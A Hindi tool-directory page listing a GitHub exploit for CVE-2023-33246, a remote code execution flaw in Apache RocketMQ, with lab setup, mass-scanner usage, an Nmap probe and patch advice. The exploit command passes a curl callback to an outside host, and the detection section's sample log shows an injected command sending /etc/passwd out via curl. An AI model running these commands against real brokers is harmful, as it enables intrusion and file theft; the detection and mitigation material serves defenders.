Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-33246_RocketMQ_RCE_EXPLOIT — CVE-2023-33246 RocketMQ RCE संस्करण द्वारा पहचान और शोषण | Kitploit
उपकरण/GitHubGitHub/malayke/cve-2023-33246_rocketmq_rce_exploit
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
GitHubmalayke/cve-2023-33246_rocketmq_rce_exploit

CVE-2023-33246_RocketMQ_RCE_EXPLOIT

CVE-2023-33246 RocketMQ RCE संस्करण द्वारा पहचान और शोषण

रिपॉजिटरी देखें
10420473 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-33246 RocketMQ दूरस्थ कोड निष्पादन शोषण

CVE-2023-33246 RocketMQ दूरस्थ कोड निष्पादन शोषण

अवलोकन

RocketMQ एक वितरित संदेशन और स्ट्रीमिंग प्लेटफॉर्म है।

RocketMQ संस्करण 5.1.0 और उससे नीचे मनमानी कोड इंजेक्शन के लिए संवेदनशील हैं। RocketMQ का ब्रोकर घटक एक्सट्रानेट पर लीक हो गया है और अनुमति सत्यापन का अभाव है। हमलावर अपडेट कॉन्फ़िगरेशन फ़ंक्शन का उपयोग करके उन सिस्टम उपयोगकर्ताओं के रूप में कमांड निष्पादित करने के लिए इस कमजोरी का शोषण कर सकता है जिनके रूप में RocketMQ चल रहा है। इसके अतिरिक्त, हमलावर RocketMQ प्रोटोकॉल सामग्री को जाली बनाकर समान प्रभाव प्राप्त कर सकता है।

Docker के माध्यम से स्थानीय RocketMQ वातावरण सेटअप करें

root@kitploit:~
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf

कमजोरियों की पहचान करने के लिए RocketMQ संस्करण का पता लगाएं

root@kitploit:~
usage: check.py [-h] [--ip IP] [--file FILE] [--port PORT] [--cidr CIDR]

Check CVE-2023-33246 RocketMQ RCE vulnerability

optional arguments:
  -h, --help   show this help message and exit
  --ip IP      A single IP address to check
  --file FILE  A file containing a list of IP addresses, one per line
  --port PORT  The port number to use when connecting to the server (default
               is 9876)
  --cidr CIDR  A CIDR range to scan (e.g. 1.2.3.0/24)

उपयोग उदाहरण

root@kitploit:~
python3 check.py --ip 127.0.0.1 --port 9876
python3 check.py --cidr 192.168.1.0/24
# or 
python3 check.py --file rocketmq_targets.txt --port 9876
# target in file format:
# ip
# ip:port
# http://ip:port

शोषण चलाएँ

⚠️ सावधानी: कृपया अपने उत्पादन वातावरण में इस स्क्रिप्ट को निष्पादित करते समय सावधानी बरतें, क्योंकि इसमें शामिल पेलोड RocketMQ के कॉन्फ़िगरेशन को संशोधित करने की क्षमता रखता है।

root@kitploit:~
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test

Nmap सेवा जांच

कृपया निम्नलिखित सामग्री को Nmap स्थापना निर्देशिका में स्थित nmap-service-probes फ़ाइल में जोड़ें।

root@kitploit:~
##############################NEXT PROBE##############################
Probe TCP RocketMQ q|\x00\x00\x00\x64\x00\x00\x00\x60\x7b\x22\x63\x6f\x64\x65\x22\x3a\x32\x38\x2c\x22\x66\x6c\x61\x67\x22\x3a\x30\x2c\x22\x6c\x61\x6e\x67\x75\x61\x67\x65\x22\x3a\x22\x4a\x41\x56\x41\x22\x2c\x22\x6f\x70\x61\x71\x75\x65\x22\x3a\x30\x2c\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x54\x79\x70\x65\x43\x75\x72\x72\x65\x6e\x74\x52\x50\x43\x22\x3a\x22\x4a\x53\x4f\x4e\x22\x2c\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x34\x33\x33\x7d|
ports 10911,11911,12911,13911
rarity 8

match RocketMQBroker m|"brokerVersionDesc":\s*"([^"]*)"| p/RocketMQ Broker/ v/$1/ cpe:/a:apache:rocketmq/

alt text

पता लगाने की प्रक्रिया

यदि आपका RocketMQ ब्रोकर समझौता कर लिया गया है, तो आप ब्रोकर लॉग में कुछ पैटर्न देखकर इस स्थिति की पहचान कर सकते हैं, ब्रोकर लॉग इस प्रकार दिखेंगे:

root@kitploit:~
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig, new config: [{filterServerNums=1, rocketmqHome=-c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;}] client: /172.17.0.1:56412 
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: filterServerNums, value: 0 -> 1
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;

शमन

org.apache.rocketmq:rocketmq-broker को संस्करण 4.9.6, 5.1.1 या उच्चतर में अपग्रेड करें।

संदर्भ

  • Apache सूचियाँ
  • GitHub कमिट
  • GitHub कमिट
  • GitHub रिलीज़
टूल डाउनलोड करें